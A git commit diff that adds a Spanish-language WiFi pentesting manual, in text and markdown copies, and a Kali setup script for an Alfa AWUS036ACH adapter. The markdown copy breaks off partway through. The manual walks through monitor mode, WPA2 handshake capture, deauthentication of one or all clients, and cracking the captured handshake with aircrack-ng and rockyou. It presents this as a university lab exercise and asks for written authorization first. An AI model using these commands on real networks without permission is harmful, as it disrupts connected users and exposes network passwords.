08-ago: [discovery] Lecciones USB Linux ext4 + Realtek 8812AU + scripts kali-todo
This commit is contained in:
2
.obsidian/graph.json
vendored
2
.obsidian/graph.json
vendored
@@ -17,6 +17,6 @@
|
||||
"repelStrength": 10,
|
||||
"linkStrength": 1,
|
||||
"linkDistance": 250,
|
||||
"scale": 1,
|
||||
"scale": 1.965556045656671,
|
||||
"close": false
|
||||
}
|
||||
15
.obsidian/workspace.json
vendored
15
.obsidian/workspace.json
vendored
@@ -11,10 +11,14 @@
|
||||
"id": "72506070fed1a695",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "graph",
|
||||
"state": {},
|
||||
"icon": "lucide-git-fork",
|
||||
"title": "Vista gráfica"
|
||||
"type": "markdown",
|
||||
"state": {
|
||||
"file": "docs/lecciones_aprendidas_vigilancia.md",
|
||||
"mode": "source",
|
||||
"source": false
|
||||
},
|
||||
"icon": "lucide-file",
|
||||
"title": "lecciones_aprendidas_vigilancia"
|
||||
}
|
||||
}
|
||||
]
|
||||
@@ -183,6 +187,9 @@
|
||||
},
|
||||
"active": "72506070fed1a695",
|
||||
"lastOpenFiles": [
|
||||
"docs/pending_telegram_send.md",
|
||||
"docs/manual_pentesting_alpha_awus036ach.md",
|
||||
"vigilancia/barrido_nocturno.py",
|
||||
"vigilancia/__pycache__/panorama.cpython-313.pyc",
|
||||
"vigilancia/panorama.py",
|
||||
"vigilancia/__pycache__/limpiar.cpython-313.pyc",
|
||||
|
||||
316
docs/MANUAL_PENTEST.txt
Normal file
316
docs/MANUAL_PENTEST.txt
Normal file
@@ -0,0 +1,316 @@
|
||||
=============================================
|
||||
MANUAL PENTESTING WiFi - ALPHA AWUS036ACH
|
||||
=============================================
|
||||
Chipset: RTL8812AU | Dual-band 2.4/5GHz
|
||||
Para laboratorio universitario con Live Boot USB Kali Linux
|
||||
|
||||
CONTENIDO:
|
||||
PARTE 1: Instalar driver en Windows
|
||||
PARTE 2: Crear USB bootable de Kali Linux
|
||||
PARTE 3: Arrancar Kali desde USB
|
||||
PARTE 4: Activar modo monitor
|
||||
PARTE 5: Escanear redes WiFi
|
||||
PARTE 6: Capturar handshake de una red
|
||||
PARTE 7: Ataque de deauth (forzar handshake)
|
||||
PARTE 8: Crackear la contraseña
|
||||
PARTE 9: Persistencia del USB
|
||||
PARTE 10: Resumen de comandos rapidos
|
||||
PARTE 11: Tips laboratorio universitario
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 1: INSTALAR DRIVER EN WINDOWS
|
||||
=============================================
|
||||
|
||||
Paso 1: Descargar driver
|
||||
Ve a https://docs.alfa.com.tw/Product/AWUS036ACH/
|
||||
Descarga el driver Windows (RTL8812AU).
|
||||
|
||||
Paso 2: Instalar
|
||||
1. Desconecta la antena
|
||||
2. Ejecuta el instalador como administrador
|
||||
3. Reinicia el PC
|
||||
4. Conecta la antena despues de reiniciar
|
||||
|
||||
Paso 3: Verificar
|
||||
Abre PowerShell y ejecuta:
|
||||
Get-NetAdapter
|
||||
Deberias ver "Realtek 8812AU" con estado "Up".
|
||||
|
||||
En Windows solo puedes escanear redes con Acrylic WiFi Free.
|
||||
Para pentesting REAL necesitas Kali Linux (Parte 2).
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 2: CREAR USB BOOTABLE DE KALI LINUX
|
||||
=============================================
|
||||
|
||||
Paso 1: Descargar Kali
|
||||
Ve a https://www.kali.org/get-kali/
|
||||
Descarga "Kali Linux 2026.x Installer" (ISO, ~4GB)
|
||||
|
||||
Paso 2: Grabar ISO en USB con Rufus
|
||||
Necesitas: USB de 16GB minimo + Rufus
|
||||
|
||||
1. Descarga Rufus desde https://rufus.ie/
|
||||
2. Inserta el USB
|
||||
3. Abre Rufus
|
||||
4. Device = tu USB
|
||||
5. Boot selection = selecciona el ISO de Kali
|
||||
6. Partition scheme = MBR
|
||||
7. Target system = BIOS o UEFI
|
||||
8. Persistent storage -> mueve la barra a 8-12 GB
|
||||
>>> ESTO ES LO QUE CREA LA PARTICION PERSISTENTE <<<
|
||||
Si no la mueves, TODO se pierde al apagar
|
||||
9. Haz clic en START
|
||||
10. Selecciona "Write in DD mode" cuando pregunte
|
||||
11. Espera a que termine (~10-15 min)
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 3: ARRANCAR KALI DESDE USB
|
||||
=============================================
|
||||
|
||||
Paso 1: Configurar BIOS para arrancar desde USB
|
||||
1. Reinicia el PC
|
||||
2. Pulsa F2, F12 o DEL al encender (depende del PC)
|
||||
3. En BIOS ve a "Boot" o "Boot Order"
|
||||
4. Pon "USB-HDD" o "Removable Device" como primera opcion
|
||||
5. Guarda y sal (F10 normalmente)
|
||||
|
||||
Paso 2: Arrancar Kali
|
||||
1. En el menu de GRUB selecciona "Live system (amd64)"
|
||||
2. Usuario: kali / Contrasena: kali
|
||||
|
||||
Paso 3: Conectar la antena Alpha
|
||||
1. Conecta la Alpha por USB DESPUES de arrancar Kali
|
||||
2. Abre terminal y verifica:
|
||||
lsusb
|
||||
Debe aparecer: Realtek Semiconductor Corp. RTL8812AU
|
||||
|
||||
3. Verifica la interfaz de red:
|
||||
iwconfig
|
||||
Debe aparecer: wlan0 o wlan1
|
||||
|
||||
Si NO aparece wlan0, instala el driver:
|
||||
sudo apt update
|
||||
sudo apt install -y realtek-rtl88xxau-dkms
|
||||
sudo reboot
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 4: ACTIVAR MODO MONITOR
|
||||
=============================================
|
||||
|
||||
El modo monitor permite escuchar TODO el tráfico WiFi
|
||||
sin estar conectado a ninguna red. Es la base del pentesting.
|
||||
|
||||
# 1. Matar procesos que interfieran
|
||||
sudo airmon-ng check kill
|
||||
|
||||
# 2. Activar modo monitor
|
||||
sudo airmon-ng start wlan0
|
||||
|
||||
# 3. Verificar que esta en modo monitor
|
||||
iwconfig wlan0mon
|
||||
# Debe decir: "Mode: Monitor"
|
||||
|
||||
Si en vez de wlan0mon aparece wlan0 en modo monitor,
|
||||
usa wlan0 en todos los comandos siguientes.
|
||||
|
||||
SALIR del modo monitor cuando termines:
|
||||
sudo airmon-ng stop wlan0mon
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 5: ESCANEAR REDES WiFi
|
||||
=============================================
|
||||
|
||||
Este es el paso mas importante. Aqui ves TODAS las redes
|
||||
a tu alrededor.
|
||||
|
||||
sudo airodump-ng wlan0mon
|
||||
|
||||
Veras una tabla con estas columnas:
|
||||
|
||||
BSSID = MAC del punto de acceso (router)
|
||||
PWR = Potencia de señal (-30=excelente, -90=malo)
|
||||
Beacons = Paquetes beacon recibidos
|
||||
#Data = Paquetes de datos capturados
|
||||
CH = Canal (1-13 en 2.4GHz, 36-165 en 5GHz)
|
||||
ENC = Cifrado (WPA2, WPA3, OPN=abierto)
|
||||
ESSID = Nombre de la red WiFi
|
||||
|
||||
PARA PARAR: pulsa Ctrl+C
|
||||
|
||||
CONSEJOS para elegir red objetivo:
|
||||
- PWR entre -30 y -60 = buena señal (lo ideal)
|
||||
- #Data alto = hay trafico (clientes activos)
|
||||
- ENC = WPA2 (es el mas comun, se puede crackear)
|
||||
- Evita OPN (abierto) y WPA3 (dificil)
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 6: CAPTURAR HANDSHAKE DE UNA RED
|
||||
=============================================
|
||||
|
||||
Una vez que has elegido tu red objetivo (por ejemplo
|
||||
"CampusLab" en canal 6 con BSSID AA:BB:CC:DD:EE:FF),
|
||||
|
||||
abre UNA NUEVA terminal (no cierres la de escaneo)
|
||||
y ejecuta:
|
||||
|
||||
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura wlan0mon
|
||||
|
||||
REEMPLAZA:
|
||||
- "6" por el canal de tu red objetivo
|
||||
- "AA:BB:CC:DD:EE:FF" por el BSSID de tu red
|
||||
- "captura" es el nombre del archivo donde guardara datos
|
||||
|
||||
Este comando:
|
||||
1. Escucha SOLO esa red en su canal
|
||||
2. Guarda todo en archivos: captura-01.cap, captura-01.csv
|
||||
3. Espera a que aparezca un "WPA handshake"
|
||||
|
||||
El WPA handshake aparece arriba a la derecha:
|
||||
WPA handshake: AA:BB:CC:DD:EE:FF
|
||||
|
||||
ESTO ES LO QUE NECESITAS para crackear la contrasena.
|
||||
|
||||
Si no aparece el handshake, necesitas un cliente
|
||||
conectandose. Sigue en la Parte 7 para forzarlo.
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 7: ATAQUE DE DEAUTH (FORZAR HANDSHAKE)
|
||||
=============================================
|
||||
|
||||
Si el handshake no aparece solo, puedes FORZAR a un
|
||||
cliente a reconectarse. Esto le desconecta momentaneamente
|
||||
y al reconectarse se captura el handshake.
|
||||
|
||||
ABRE UNA TERCERA terminal y ejecuta:
|
||||
|
||||
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c XX:XX:XX:XX:XX:XX wlan0mon
|
||||
|
||||
REEMPLAZA:
|
||||
- "5" = numero de paquetes de deauth (5-10 suele bastar)
|
||||
- "AA:BB:CC:DD:EE:FF" = BSSID del router (igual que antes)
|
||||
- "XX:XX:XX:XX:XX:XX" = MAC del cliente conectado
|
||||
|
||||
Para ver clientes conectados a tu red, mira la terminal
|
||||
de la Parte 6. Bajo la columna "STATION" veras las MAC
|
||||
de los clientes conectados.
|
||||
|
||||
Si no sabes la MAC del cliente, puedes omitir -c:
|
||||
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
|
||||
|
||||
Esto envia deauth a TODOS los clientes de esa red.
|
||||
|
||||
VERIFICA que aparezca "WPA handshake" en la terminal
|
||||
de la Parte 6 despues del ataque.
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 8: CRACKEAR LA CONTRASEÑA
|
||||
=============================================
|
||||
|
||||
Una vez tengas el WPA handshake capturado:
|
||||
|
||||
Paso 1: Descomprimir el diccionario
|
||||
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
|
||||
|
||||
Paso 2: Ejecutar aircrack-ng
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap
|
||||
|
||||
Sustituye "captura-01.cap" por el nombre de tu archivo.
|
||||
|
||||
Esto prueba TODAS las contrasenas del diccionario contra
|
||||
el handshake capturado. Velocidad: ~1000-5000 claves/segundo.
|
||||
|
||||
Si la contrasena esta en el diccionario veras:
|
||||
KEY FOUND! [ la_contrasena ]
|
||||
|
||||
Si no esta en el diccionario:
|
||||
- Prueba con otro diccionario mas grande
|
||||
- O usa fuerza bruta (mucho mas lento):
|
||||
aircrack-ng -a 2 -b AA:BB:CC:DD:EE:FF -w /usr/share/wordlists/rockyou.txt captura-01.cap
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 9: PERSISTENCIA DEL USB (GUARDAR RESULTADOS)
|
||||
=============================================
|
||||
|
||||
Si usas Kali Live, al reiniciar TODO se pierde
|
||||
a menos que tengas persistencia.
|
||||
|
||||
Opcion A - Rufus Persistent Partition (ya lo hiciste en Parte 2)
|
||||
Si activaste "Persistent storage" en Rufus, los archivos en
|
||||
/home/kali se guardan automaticamente entre reinicios.
|
||||
|
||||
Opcion B - Montar particion persistente manualmente:
|
||||
sudo mkdir -p /mnt/persistence
|
||||
sudo mount /dev/sdb3 /mnt/persistence
|
||||
cp captura-01.cap /mnt/persistence/
|
||||
echo "RED: CampusLab | PASS: la_contrasena" > /mnt/persistence/wifi_cracked.txt
|
||||
sudo umount /mnt/persistence
|
||||
|
||||
Opcion C - Segundo USB o red:
|
||||
cp captura-01.cap /media/kali/MI_USB/
|
||||
# O subir a un servidor:
|
||||
scp captura-01.cap user@ip_servidor:/ruta/
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 10: RESUMEN DE COMANDOS RAPIDOS
|
||||
=============================================
|
||||
|
||||
Ver antena: lsusb && iwconfig
|
||||
Matar interferencias: sudo airmon-ng check kill
|
||||
Activar monitor: sudo airmon-ng start wlan0
|
||||
Escanear redes: sudo airodump-ng wlan0mon
|
||||
Capturar 1 red: sudo airodump-ng -c CH --bssid MAC -w file wlan0mon
|
||||
Deauth 1 cliente: sudo aireplay-ng --deauth 5 -a MAC_AP -c MAC_CLI wlan0mon
|
||||
Crackear: aircrack-ng -w rockyou.txt file.cap
|
||||
Salir monitor: sudo airmon-ng stop wlan0mon
|
||||
|
||||
|
||||
=============================================
|
||||
PARTE 11: TIPS PARA EL LABORATORIO UNIVERSITARIO
|
||||
=============================================
|
||||
|
||||
1. Empieza solo con escaneo pasivo (airodump-ng) - aprende
|
||||
a leer las redes antes de hacer nada activo.
|
||||
|
||||
2. Documenta que redes hay, en que canales, que cifrado usan.
|
||||
|
||||
3. Solo testea redes que tengas autorizacion explicita -
|
||||
pide al profesor/encargado por escrito.
|
||||
|
||||
4. Practica primero con tu propio router si puedes.
|
||||
|
||||
5. El rockyou.txt viene en Kali en /usr/share/wordlists/
|
||||
(descomprimir con sudo gunzip).
|
||||
|
||||
6. No hagas deauth en redes publicas reales - es ilegal
|
||||
sin autorizacion.
|
||||
|
||||
7. Si la senal es mala (PWR < -70), acercate al router
|
||||
o usa la antena con el reflector parabolico.
|
||||
|
||||
|
||||
=============================================
|
||||
LEER ESTE MANUAL DESDE KALI LIVE
|
||||
=============================================
|
||||
|
||||
Si copiaste este archivo al USB de Kali, puedes leerlo
|
||||
desde la terminal con:
|
||||
|
||||
sudo mount /dev/sdb1 /mnt
|
||||
cat /mnt/MANUAL_PENTEST.txt
|
||||
|
||||
O para verlo pagina por pagina:
|
||||
cat /mnt/MANUAL_PENTEST.txt | less
|
||||
|
||||
Para copiarlo al escritorio de Kali:
|
||||
cp /mnt/MANUAL_PENTEST.txt ~/Desktop/
|
||||
148
docs/arranque_rapido.sh
Normal file
148
docs/arranque_rapido.sh
Normal file
@@ -0,0 +1,148 @@
|
||||
#!/bin/bash
|
||||
#=============================================
|
||||
# ARRANQUE RAPIDO - KALI LIVE + ALPHA AWUS036ACH
|
||||
#=============================================
|
||||
# Ejecutar con: sudo bash arranque_rapido.sh
|
||||
# Guardar en el USB y ejecutar al arrancar Kali Live
|
||||
#=============================================
|
||||
|
||||
set -e
|
||||
|
||||
echo ""
|
||||
echo "============================================"
|
||||
echo " ARRANQUE RAPIDO - PENTESTING WiFi"
|
||||
echo " Alpha AWUS036ACH (RTL8812AU)"
|
||||
echo "============================================"
|
||||
echo ""
|
||||
|
||||
# Colores
|
||||
ROJO='\033[0;31m'
|
||||
VERDE='\033[0;36m'
|
||||
AMARILLO='\033[1;33m'
|
||||
SIN_COLOR='\033[0m'
|
||||
|
||||
# Paso 0: Verificar que somos root
|
||||
if [ "$EUID" -ne 0 ]; then
|
||||
echo -e "${ROJO}[ERROR] Ejecuta con sudo: sudo bash arranque_rapido.sh${SIN_COLOR}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Paso 1: Verificar conexion a internet
|
||||
echo -e "${AMARILLO}[1/6] Verificando internet...${SIN_COLOR}"
|
||||
if ping -c 1 google.com &> /dev/null; then
|
||||
echo -e "${VERDE} OK - Internet conectado${SIN_COLOR}"
|
||||
else
|
||||
echo -e "${ROJO} SIN INTERNET - conecta WiFi o cable antes de continuar${SIN_COLOR}"
|
||||
echo " Si no tienes internet, este script no puede instalar paquetes."
|
||||
echo " Pulsa Ctrl+C para salir o Enter para intentar sin internet..."
|
||||
read -s
|
||||
fi
|
||||
|
||||
# Paso 2: Actualizar repositorios
|
||||
echo ""
|
||||
echo -e "${AMARILLO}[2/6] Actualizando repositorios (apt update)...${SIN_COLOR}"
|
||||
if ping -c 1 google.com &> /dev/null; then
|
||||
apt update -qq
|
||||
echo -e "${VERDE} OK - Repositorios actualizados${SIN_COLOR}"
|
||||
else
|
||||
echo -e "${ROJO} SALTADO - sin internet${SIN_COLOR}"
|
||||
fi
|
||||
|
||||
# Paso 3: Instalar paquetes necesarios
|
||||
echo ""
|
||||
echo -e "${AMARILLO}[3/6] Instalando paquetes necesarios...${SIN_COLOR}"
|
||||
if ping -c 1 google.com &> /dev/null; then
|
||||
apt install -y -qq aircrack-ng realtek-rtl88xxau-dkms wireless-tools iw wpasupplicant 2>/dev/null
|
||||
echo -e "${VERDE} OK - Paquetes instalados${SIN_COLOR}"
|
||||
else
|
||||
echo -e "${ROJO} SALTADO - sin internet${SIN_COLOR}"
|
||||
fi
|
||||
|
||||
# Paso 4: Verificar la antena
|
||||
echo ""
|
||||
echo -e "${AMARILLO}[4/6] Verificando antena Alpha...${SIN_COLOR}"
|
||||
if lsusb | grep -qi "realtek\|8812\|rtl88"; then
|
||||
echo -e "${VERDE} OK - Alpha AWUS036ACH detectada${SIN_COLOR}"
|
||||
else
|
||||
echo -e "${ROJO} NO DETECTADA - conecta la antena por USB${SIN_COLOR}"
|
||||
echo " Si ya esta conectada, prueba: sudo reboot"
|
||||
fi
|
||||
|
||||
# Paso 5: Detectar interfaz WiFi
|
||||
echo ""
|
||||
echo -e "${AMARILLO}[5/6] Detectando interfaz WiFi...${SIN_COLOR}"
|
||||
WLAN=""
|
||||
for iface in wlan0 wlan1 wlan2; do
|
||||
if ip link show "$iface" &> /dev/null; then
|
||||
WLAN="$iface"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -n "$WLAN" ]; then
|
||||
echo -e "${VERDE} OK - Interfaz encontrada: $WLAN${SIN_COLOR}"
|
||||
else
|
||||
echo -e "${ROJO} NO SE ENCONTRO interfaz wlan${SIN_COLOR}"
|
||||
echo " Ejecuta manualmente: iwconfig"
|
||||
echo " Si no aparece nada, reinicia con la antena conectada"
|
||||
fi
|
||||
|
||||
# Paso 6: Activar modo monitor
|
||||
echo ""
|
||||
echo -e "${AMARILLO}[6/6] Activando modo monitor...${SIN_COLOR}"
|
||||
|
||||
if [ -n "$WLAN" ]; then
|
||||
# Matar procesos que interfieran
|
||||
airmon-ng check kill &> /dev/null
|
||||
|
||||
# Activar modo monitor
|
||||
airmon-ng start "$WLAN" &> /dev/null
|
||||
|
||||
# Verificar
|
||||
if iwconfig wlan0mon 2>/dev/null | grep -q "Monitor"; then
|
||||
echo -e "${VERDE} OK - Modo monitor activo en wlan0mon${SIN_COLOR}"
|
||||
MONIF="wlan0mon"
|
||||
elif iwconfig "${WLAN}" 2>/dev/null | grep -q "Monitor"; then
|
||||
echo -e "${VERDE} OK - Modo monitor activo en $WLAN${SIN_COLOR}"
|
||||
MONIF="$WLAN"
|
||||
else
|
||||
echo -e "${AMARILLO} No se pudo verificar. Comprueba manualmente con: iwconfig${SIN_COLOR}"
|
||||
MONIF="wlan0mon"
|
||||
fi
|
||||
else
|
||||
echo -e "${ROJO} SALTADO - sin interfaz WiFi${SIN_COLOR}"
|
||||
MONIF=""
|
||||
fi
|
||||
|
||||
# Resumen
|
||||
echo ""
|
||||
echo "============================================"
|
||||
echo " RESUMEN"
|
||||
echo "============================================"
|
||||
if [ -n "$MONIF" ]; then
|
||||
echo -e " Modo monitor: ${VERDE}ACTIVO${SIN_COLOR} ($MONIF)"
|
||||
echo ""
|
||||
echo " SIGUIENTE PASO - Escanear redes:"
|
||||
echo " sudo airodump-ng $MONIF"
|
||||
echo ""
|
||||
echo " Cuando veas tu red objetivo, captura el handshake:"
|
||||
echo " sudo airodump-ng -c CANAL --bssid MAC -w captura $MONIF"
|
||||
echo ""
|
||||
echo " Para forzar handshake (deauth):"
|
||||
echo " sudo aireplay-ng --deauth 5 -a MAC_AP -c MAC_CLI $MONIF"
|
||||
echo ""
|
||||
echo " Para crackear:"
|
||||
echo " aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap"
|
||||
else
|
||||
echo -e " Modo monitor: ${ROJO}NO ACTIVADO${SIN_COLOR}"
|
||||
echo ""
|
||||
echo " Ejecuta manualmente:"
|
||||
echo " sudo airmon-ng check kill"
|
||||
echo " sudo airmon-ng start wlan0"
|
||||
echo " iwconfig wlan0mon"
|
||||
fi
|
||||
echo ""
|
||||
echo " SALIR del modo monitor cuando termines:"
|
||||
echo " sudo airmon-ng stop wlan0mon"
|
||||
echo "============================================"
|
||||
echo ""
|
||||
305
docs/manual_pentesting_alpha_awus036ach.md
Normal file
305
docs/manual_pentesting_alpha_awus036ach.md
Normal file
@@ -0,0 +1,305 @@
|
||||
# MANUAL PENTESTING WiFi — Alpha AWUS036ACH
|
||||
**Chipset:** RTL8812AU | Dual-band 2.4/5GHz
|
||||
**Entorno:** Laboratorio universitario con Live Boot USB Kali Linux
|
||||
|
||||
---
|
||||
|
||||
## PARTE 1: INSTALAR DRIVER EN WINDOWS
|
||||
|
||||
### Paso 1: Descargar driver
|
||||
Ve a https://docs.alfa.com.tw/Product/AWUS036ACH/
|
||||
Descarga el driver Windows (RTL8812AU).
|
||||
|
||||
### Paso 2: Instalar
|
||||
1. Desconecta la antena
|
||||
2. Ejecuta el instalador como administrador
|
||||
3. Reinicia el PC
|
||||
4. Conecta la antena después de reiniciar
|
||||
|
||||
### Paso 3: Verificar
|
||||
Abre PowerShell y ejecuta:
|
||||
```
|
||||
Get-NetAdapter
|
||||
```
|
||||
Deberías ver la interfaz "Realtek 8812AU" con estado "Up".
|
||||
|
||||
> En Windows solo puedes escanar redes con Acrylic WiFi Free.
|
||||
> Para pentesting REAL necesitas Kali Linux (Parte 2).
|
||||
|
||||
---
|
||||
|
||||
## PARTE 2: CREAR USB BOOTABLE DE KALI LINUX (CON PERSISTENCIA)
|
||||
|
||||
### Paso 1: Descargar Kali
|
||||
Ve a https://www.kali.org/get-kali/
|
||||
Descarga "Kali Linux 2026.x Installer" (ISO, ~4GB)
|
||||
|
||||
### Paso 2: Grabar ISO en USB con Rufus
|
||||
**Necesitas:** USB de 16GB mínimo + Rufus
|
||||
|
||||
1. Descarga Rufus desde https://rufus.ie/
|
||||
2. Inserta el USB
|
||||
3. Abre Rufus
|
||||
4. **Device** = tu USB
|
||||
5. **Boot selection** = selecciona el ISO de Kali
|
||||
6. **Partition scheme** = MBR
|
||||
7. **Target system** = BIOS o UEFI
|
||||
8. **Persistent storage** → mueve la barra a **8-12 GB**
|
||||
⚠️ ESTO ES LO QUE CREA LA PARTICIÓN PERSISTENTE
|
||||
Si no la mueves, TODO se pierde al apagar
|
||||
9. Haz clic en **START**
|
||||
10. Selecciona **"Write in DD mode"** cuando pregunte
|
||||
11. Espera a que termine (~10-15 min)
|
||||
|
||||
---
|
||||
|
||||
## PARTE 3: ARRANCAR KALI DESDE USB
|
||||
|
||||
### Paso 1: Configurar BIOS para arrancar desde USB
|
||||
1. Reinicia el PC
|
||||
2. Pulsa **F2, F12 o DEL** al encender (depende del PC)
|
||||
3. En BIOS ve a "Boot" o "Boot Order"
|
||||
4. Pon **"USB-HDD"** o **"Removable Device"** como primera opción
|
||||
5. Guarda y sal (**F10** normalmente)
|
||||
|
||||
### Paso 2: Arrancar Kali
|
||||
1. En el menú de GRUB selecciona **"Live system (amd64)"**
|
||||
2. Usuario: `kali` / Contraseña: `kali`
|
||||
|
||||
### Paso 3: Conectar la antena Alpha
|
||||
1. Conecta la Alpha por USB **DESPUÉS** de arrancar Kali
|
||||
2. Abre terminal y verifica:
|
||||
```bash
|
||||
lsusb
|
||||
# Debe aparecer: Realtek Semiconductor Corp. RTL8812AU
|
||||
```
|
||||
```bash
|
||||
iwconfig
|
||||
# Debe aparecer: wlan0 o wlan1
|
||||
```
|
||||
|
||||
**Si NO aparece wlan0**, instala el driver:
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install -y realtek-rtl88xxau-dkms
|
||||
sudo reboot
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PARTE 4: ACTIVAR MODO MONITOR
|
||||
|
||||
El modo monitor permite escuchar TODO el tráfico WiFi sin estar conectado a ninguna red. Es la base del pentesting.
|
||||
|
||||
```bash
|
||||
# 1. Matar procesos que interfieran
|
||||
sudo airmon-ng check kill
|
||||
|
||||
# 2. Activar modo monitor
|
||||
sudo airmon-ng start wlan0
|
||||
|
||||
# 3. Verificar que está en modo monitor
|
||||
iwconfig wlan0mon
|
||||
# Debe decir: "Mode: Monitor"
|
||||
```
|
||||
|
||||
> Si en vez de `wlan0mon` aparece `wlan0` en modo monitor,
|
||||
> usa `wlan0` en todos los comandos siguientes.
|
||||
|
||||
**SALIR del modo monitor cuando termines:**
|
||||
```bash
|
||||
sudo airmon-ng stop wlan0mon
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PARTE 5: ESCANEAR REDES WiFi
|
||||
|
||||
Este es el paso más importante. Aquí ves TODAS las redes a tu alrededor.
|
||||
|
||||
```bash
|
||||
sudo airodump-ng wlan0mon
|
||||
```
|
||||
|
||||
### Columnas de la tabla:
|
||||
|
||||
| Columna | Significado |
|
||||
|---------|-------------|
|
||||
| **BSSID** | MAC del punto de acceso (router) |
|
||||
| **PWR** | Potencia de señal (-30=excelente, -90=malo) |
|
||||
| **Beacons** | Paquetes beacon recibidos |
|
||||
| **#Data** | Paquetes de datos capturados |
|
||||
| **CH** | Canal (1-13 en 2.4GHz, 36-165 en 5GHz) |
|
||||
| **ENC** | Cifrado (WPA2, WPA3, OPN=abierto) |
|
||||
| **ESSID** | Nombre de la red WiFi |
|
||||
|
||||
**PARA PARAR:** pulsa `Ctrl+C`
|
||||
|
||||
### Consejos para elegir red objetivo:
|
||||
- **PWR entre -30 y -60** = buena señal (lo ideal)
|
||||
- **#Data alto** = hay tráfico (clientes activos)
|
||||
- **ENC = WPA2** (el más común, se puede crackear)
|
||||
- Evita OPN (abierto) y WPA3 (muy difícil)
|
||||
|
||||
---
|
||||
|
||||
## PARTE 6: CAPTURAR HANDSHAKE DE UNA RED
|
||||
|
||||
Una vez elegida tu red objetivo (por ejemplo "CampusLab" canal 6, BSSID AA:BB:CC:DD:EE:FF):
|
||||
|
||||
**Abre UNA NUEVA terminal** (no cierres la de escaneo) y ejecuta:
|
||||
|
||||
```bash
|
||||
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura wlan0mon
|
||||
```
|
||||
|
||||
**REEMPLAZA:**
|
||||
- `6` → el canal de tu red objetivo
|
||||
- `AA:BB:CC:DD:EE:FF` → el BSSID de tu red
|
||||
- `captura` → nombre del archivo de salida
|
||||
|
||||
### Esto hace:
|
||||
1. Escucha SOLO esa red en su canal
|
||||
2. Guarda todo en archivos: `captura-01.cap`, `captura-01.csv`
|
||||
3. Espera a que aparezca un **"WPA handshake"**
|
||||
|
||||
El WPA handshake aparece arriba a la derecha:
|
||||
```
|
||||
WPA handshake: AA:BB:CC:DD:EE:FF
|
||||
```
|
||||
|
||||
**ESTO ES LO QUE NECESITAS** para crackear la contraseña.
|
||||
|
||||
Si no aparece el handshake, necesitas un cliente conectándose → Parte 7.
|
||||
|
||||
---
|
||||
|
||||
## PARTE 7: ATAQUE DE DEAUTH (FORZAR HANDSHAKE)
|
||||
|
||||
Si el handshake no aparece solo, puedes **FORZAR** a un cliente a reconectarse. Le desconecta momentáneamente y al reconectarse se captura el handshake.
|
||||
|
||||
**ABRE UNA TERCERA terminal** y ejecuta:
|
||||
|
||||
```bash
|
||||
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c XX:XX:XX:XX:XX:XX wlan0mon
|
||||
```
|
||||
|
||||
**REEMPLAZA:**
|
||||
- `5` → número de paquetes de deauth (5-10 suele bastar)
|
||||
- `AA:BB:CC:DD:EE:FF` → BSSID del router (igual que antes)
|
||||
- `XX:XX:XX:XX:XX:XX` → MAC del cliente conectado
|
||||
|
||||
### Para ver clientes conectados:
|
||||
Mira la terminal de la Parte 6. Bajo la columna **"STATION"** verás las MAC de los clientes.
|
||||
|
||||
Si no sabes la MAC del cliente, puedes omitir `-c`:
|
||||
```bash
|
||||
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
|
||||
```
|
||||
Esto envía deauth a **TODOS** los clientes de esa red.
|
||||
|
||||
**VERIFICA** que aparezca `"WPA handshake"` en la terminal de la Parte 6 después del ataque.
|
||||
|
||||
---
|
||||
|
||||
## PARTE 8: CRACKEAR LA CONTRASEÑA
|
||||
|
||||
Una vez tengas el WPA handshake capturado:
|
||||
|
||||
### Paso 1: Descomprimir el diccionario
|
||||
```bash
|
||||
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
|
||||
```
|
||||
|
||||
### Paso 2: Ejecutar aircrack-ng
|
||||
```bash
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap
|
||||
```
|
||||
Sustituye `captura-01.cap` por el nombre de tu archivo.
|
||||
|
||||
Esto prueba **TODAS** las contraseñas del diccionario contra el handshake capturado.
|
||||
Velocidad: ~1000-5000 claves/segundo.
|
||||
|
||||
### Si la contraseña está en el diccionario:
|
||||
```
|
||||
KEY FOUND! [ la_contraseña ]
|
||||
```
|
||||
|
||||
### Si no está en el diccionario:
|
||||
- Prueba con otro diccionario más grande
|
||||
- O usa fuerza bruta (mucho más lento):
|
||||
```bash
|
||||
aircrack-ng -a 2 -b AA:BB:CC:DD:EE:FF -w /usr/share/wordlists/rockyou.txt captura-01.cap
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PARTE 9: PERSISTENCIA DEL USB (GUARDAR RESULTADOS)
|
||||
|
||||
Si usas Kali Live, al reiniciar **TODO se pierde** a menos que tengas persistencia.
|
||||
|
||||
### Opción A — Rufus Persistent Partition (ya lo hiciste en Parte 2)
|
||||
Si activaste "Persistent storage" en Rufus, los archivos en `/home/kali` se guardan automáticamente entre reinicios.
|
||||
|
||||
### Opción B — Montar la partición persistente manualmente
|
||||
```bash
|
||||
# Identificar la partición
|
||||
lsblk
|
||||
# Busca la partición más grande del USB (sdb3 normalmente)
|
||||
|
||||
# Montar
|
||||
